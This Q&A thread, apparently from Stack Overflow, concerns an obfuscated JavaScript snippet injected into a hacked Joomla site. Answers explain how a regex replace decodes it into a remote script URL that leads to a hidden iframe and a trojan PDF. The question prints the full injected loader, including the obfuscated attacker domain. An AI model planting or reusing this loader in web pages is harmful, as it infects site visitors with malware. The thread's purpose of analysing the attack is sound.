My Joomla! website has been repeatedly hacked into. Someone, somehow, managed to inject the following rubbish into the key php scripts, but I mean not to talk about configuring Joomla. The site is not visited much (at times I fear I might be the only visitor to that site...) and I don't care much to have the site back up and running. I'll handle that eventually.

My question is, how does this rubbish work? I look at it and I just don't see how does this manage to do any harm? What it does is it tries to download a PDF file called ChangeLog.pdf, which is infected with a trojan and after opening will freeze up your Acrobat and wreak havoc on your machine. How does it do that, I don't know, I don't care. But how does the following piece of script invoke the download?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>

ESET has detected this code as JS/TrojanDownloader.Agent.NRO trojan

  • 43,625
  • 12
  • 83
  • 136
Peter Perháč
  • 20,434
  • 21
  • 120
  • 152
  • 41
    Please don't anyone wander off to check out the link out of curiosity! – DOK Jan 22 '10 at 14:17
  • 1
    Yeah don't wander around trying to figure out whats going on, the magic is in the simple encoding of the URL and subsequent decoding/parsing of the string using the Replace/RegEx you see at the end of the line. – DoctorLouie Jan 22 '10 at 23:27
  • 13
    "piece of script" read like quite something else, at first. – Aditya M P Aug 08 '13 at 19:00

7 Answers7


Notice the replace call after the giant messy string: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

It removes most of the special characters, turning it into a normal URL:


(I manually changed http: to evil:)

Note that the regex could have been simplified to .replace(/[#$@^&()!]/ig, '')

If you look at the script, you'll see that it's a very simple script that injects a hidden IFRAME containing the path /index.php?ys from the same domain.

I requested that page in Fiddler, and it had no content.

  • 868,454
  • 176
  • 1,908
  • 1,964
  • 6
    I think the script providing the content of the iframe is made so as not to start the pdf download everytime. There may be a 1 in 10 chance or something like that. It did not try to download the pdf everytime I refreshed the joomla page. Could be even 1 in 100... who knows? – Peter Perháč Jan 22 '10 at 14:31
  • 177
    +1 for mentioning that the code could have been written more efficiently. :) – Pekka Jan 22 '10 at 14:53
  • 9
    @Pekka, I think it was deliberately written that way so as to be more obscure – Elliptical view Jan 25 '14 at 18:57
  • 7
    @Elipticalview Definitely. If the writer was worried about efficiency he certainly wouldn't have used a RegEx replace to derive a static string. Lol. – Dan Bechard Apr 30 '14 at 17:54
  • I don't see what good a case insensitive pattern modifier would do for a pattern without letters. I'd be using a `+` after the character class too ...if using regex. – mickmackusa Sep 30 '19 at 20:11

These answers might help you understand the nature of the malicious JavaScript code but what you should be looking for is a way to close the loophole inherant in the Joomla engine. Pre-packaged frameworks are prone to loopholes, either intentional or unintentional, especially when you take into consideration that they are engineered to work on unix, mac and windows environments.

My work requires I run many domains, applications and frameworks on many types of servers and systems for clients and myself. Over time I've seen more and more bots crawling these systems looking for known loopholes/entrances by-way of back-door entrances created by those frameworks. Good thing when I use any type of framework, which I seldom do, I make sure to rename most if not the entire file structure to rid myself of those pesky loopholes/back-doors. At the very least you can rename directories which will throw off most bots, but my way is to completely eliminate references that give clues as to the nature of the framework, which includes renaming of the entire file structure not just directories. Always keep a map of the new naming conventions relative to the old naming conventions in order to make adding plug-ins to your base framework a snap. Once you get the hang of this you can go as far as programatically renaming the entire framework filestructure for quicker results, this is especially useful when having to deal with clients needing to be able to update their framework with plug-ins and the like.

  • 2,699
  • 1
  • 18
  • 23
  • 1
    Just don't remove information about the source of the framework, that would be flat wrong. – DoctorLouie Jan 22 '10 at 23:39
  • 2
    Oooo, thanks. That's a nice answer. Not really answering the question but still +1, as this was indeed a very interesting read and good suggestions made. Ta – Peter Perháč Jan 22 '10 at 23:48

It just does a regex replace on the script url to give you

NOTE: DO NOT FOLLOW THE BELOW LINK (inserted ** to deter the copy-pasters)


as the src

Russ Cam
  • 124,184
  • 33
  • 204
  • 266
  • simple as that, is it? my goodness... i've been pwnd by SO again :) – Peter Perháč Jan 22 '10 at 14:16
  • @Josh - It's up to you, I haven't tried it so can't tell you exactly why. I suspect that there may be malicious scripts on the page. You could do so at your own risk! – Russ Cam Jan 22 '10 at 14:27

It uses the replace function to replace the rubbish chars using regex, nothing wrong with the code:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
  • 377,238
  • 77
  • 533
  • 578

Its load script from


And that script load iframe from with visibility hidden

  • 120,166
  • 34
  • 186
  • 219

When you read the whole thing, you find that it is a string followed by a replace command.

Raj More
  • 47,048
  • 33
  • 131
  • 198

My two cents. Have you / can you install a Joomla backup tool such as Joomlapack?

I've set it to run via a CHRON script to keep the goods handy in case the muggers get to mugging.

What version of Joomla are you running?

1.0.X versions aren't being updated any longer, and it's age is really starting to show. You owe it to yourself to do a backup and plan to upgrade to 1.5 and anticipate the wonders of 1.6

  • 306
  • 1
  • 2
  • 8